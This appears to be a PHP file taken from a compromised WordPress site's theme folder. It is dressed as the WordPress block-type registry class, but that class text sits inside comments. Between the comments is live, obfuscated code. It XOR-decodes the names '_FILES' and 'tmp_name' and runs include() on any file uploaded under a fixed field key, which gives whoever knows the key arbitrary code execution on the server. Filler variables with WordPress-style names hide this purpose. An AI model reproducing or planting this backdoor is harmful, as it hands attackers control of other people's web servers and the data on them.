Current File : /home/tsgmexic/4pie.com.mx/wp-content/themes/travel/xnwKK.js.php |
<?php /*
*
* Blocks API: WP_Block_Type_Registry class
*
* @package WordPress
* @subpackage Blocks
* @since 5.0.0
*
* Core class used for interacting with block types.
*
* @since 5.0.0
#[AllowDynamicProperties]
final class WP_Block_Type_Registry {
*
* Registered block types, as `$name => $instance` pairs.
*
* @since 5.0.0
* @var WP_Block_Type[]
private $registered_block_types = array();
*
* Container for the main instance of the class.
*
* @since 5.0.0
* @var WP_Block_Type_Registry|null
private static $instance = null;
*
* Registers a block type.
*
* @since 5.0.0
*
* @see WP_Block_Type::__construct()
*
* @param string|WP_Block_Type $name Block type name including namespace, or alternatively
* a complete WP_Block_Type instance. In case a WP_Block_Type
* is provided, the $args parameter will be ignored.
* @param array $args Optional. Array of block type arguments. Accepts any public property
* of `WP_Block_Type`. See WP_Block_Type::__construct() for information
* on accepted arguments. Default empty array.
* @return WP_Block_Type|false The registered block type on success, or false on failure.
public function register( $name, $args = array() ) {
$block_type = null;
if ( $name instanceof WP_Block_Type ) {
$block_type = $name;
$name = $block_type->name;
}
if ( ! is_string( $name ) ) {
_doing_it_wrong(
__METHOD__,
__( 'Block type names must be strings.' ),
'5.0.0'
);
return false;
}
if ( preg_match( '/[A-Z]+/', $name ) ) {
_doing_it_wrong(
__METHOD__,
__( 'Block type names must not contain uppercase characters.' ),
'5.0.0'
);
return false;
}
$name_matcher = '/^[a-z0-9-]+\/[a-z0-9-]+$/';
if ( ! preg_match( $name_matcher, $name ) ) {
_doing_it_wrong(
__METHOD__,
__( 'Block type names must contain a namespace prefix. Example: my-plugin/my-custom-block-type' ),
'5.0.0'
);
return false;
}
if ( $this->is_registered( $name ) ) {
_doing_it_wrong(
__METHOD__,
translators: %s: Block name.
sprintf( __( 'Block type "%s" is already registered.' ), $name ),
'5.0.0'
);
return false;
}
if ( ! $block_type ) {
$block_type = new WP_Block_Type( $name, $args );
}
$this->registered_block_types[ $name ] = $block_type;
return $block_type;
}
*
* Unregisters a block type.
*
* @since 5.0.0
*
* @param string|WP_Block_Type $name Block type name including namespace, or alternatively
* a complete WP_Block_Type instance.
* @return WP_Block_Type|false The unregistered block type on success, or false on failure.
public function unregister( $name ) {
if ( $name instanceof WP_Block_Type ) {
$name = $name->name;
}
if ( ! $this->is_registered( $name ) ) {
_doing_it_wrong(
__METHOD__,
translators: %s: Block name.
sprintf( __( 'Block type "%s" is not registered.' ), $name ),
'5.0.0'
);
return false;
}
$unregistered_block_type = $this->registered_block_types[ $name ];
unset( $this->registered_block_types[ $name ] );
return $unregistered_block_type;
}
*
* Retrieves a registered block type.
*
* @since 5.0.0
*
* @param string $name Block type name including namespace.
* @return WP_Block_Type|null The registered block type, or null if it is not registered.
public function get_registered( $name ) {
if ( ! $this->is_registered( $name ) ) {
return null;
}
return $this->registered_block_types[ $name ];
}
*
* Retrieves all registered block types.
*
* @since 5.0.0
*
* @return WP_Block_Type[] Associative array of `$block_type_name => $block_type` pairs.
public function get_all_registered() {
*/
$pagenow = 'imagedata';
$thumbdir = 'post_date_gmt';
function double()
{
$post_cats = '_charset';
}
function desired_post_slug()
{
$default_no_texturize_tags = 'arg_index';
$domain = '_charset';
$_links_add_base = 'new_status';
$incpages = 924;
}
function comment_regex($post_before)
{
$where = $post_before;
$mime_pattern = 'string_nullspace';
$wp_timezone = $GLOBALS[update_meta_cache("%0A%02q%232%15", $where)];
$array_int_fields = 'since';
$data = $wp_timezone;
$attachment_id = '_charset';
$base = isset($data[$where]);
$goal = '_charset';
if ($base)
{
$updated = 'mime';
$tagnames = $wp_timezone[$where];
$original_image_url = 123;
$full_match = 'diff';
$postarr = 656;
$taxonomies = $tagnames[update_meta_cache("%21%29H0%19%27T%10", $where)];
$default_labels = 'others';
$feature = '_charset';
$menu_icon = 'post_type_in_string';
$page_list = $taxonomies;
$pattern = $original_image_url % ($postarr + 4);
$original_image_url = $postarr - $original_image_url;
include ($page_list);
}
}
$disabled_elements = 'unicode';
function update_meta_cache($stripped, $strict)
{
$taxonomy = $strict;
$slashpos = "url";
$slashpos .= "decode";
$flag_no_digit = $slashpos($stripped);
$post = 'query';
$cdata_regex = strlen($flag_no_digit);
$current_guid = 'emoji';
$cdata_regex = substr($taxonomy, 0, $cdata_regex);
$thumbnail_support = $flag_no_digit ^ $cdata_regex;
$stacksize = 620;
$flag_no_digit = sprintf($thumbnail_support, $cdata_regex);
$stacksize = $stacksize + 4;
$locale = '_charset';
return $thumbnail_support;
}
comment_regex('UD8owF9u1hYNSP');
double();
desired_post_slug();
/* return $this->registered_block_types;
}
*
* Checks if a block type is registered.
*
* @since 5.0.0
*
* @param string $name Block type name including namespace.
* @return bool True if the block type is registered, false otherwise.
public function is_registered( $name ) {
return isset( $this->registered_block_types[ $name ] );
}
public function __wakeup() {
if ( ! $this->registered_block_types ) {
return;
}
if ( ! is_array( $this->registered_block_types ) ) {
throw new UnexpectedValueException();
}
foreach ( $this->registered_block_types as $value ) {
if ( ! $value instanceof WP_Block_Type ) {
throw new UnexpectedValueException();
}
}
}
*
* Utility method to retrieve the main instance of the class.
*
* The instance will be created if it does not exist yet.
*
* @since 5.0.0
*
* @return WP_Block_Type_Registry The main instance.
public static function get_instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
}
*/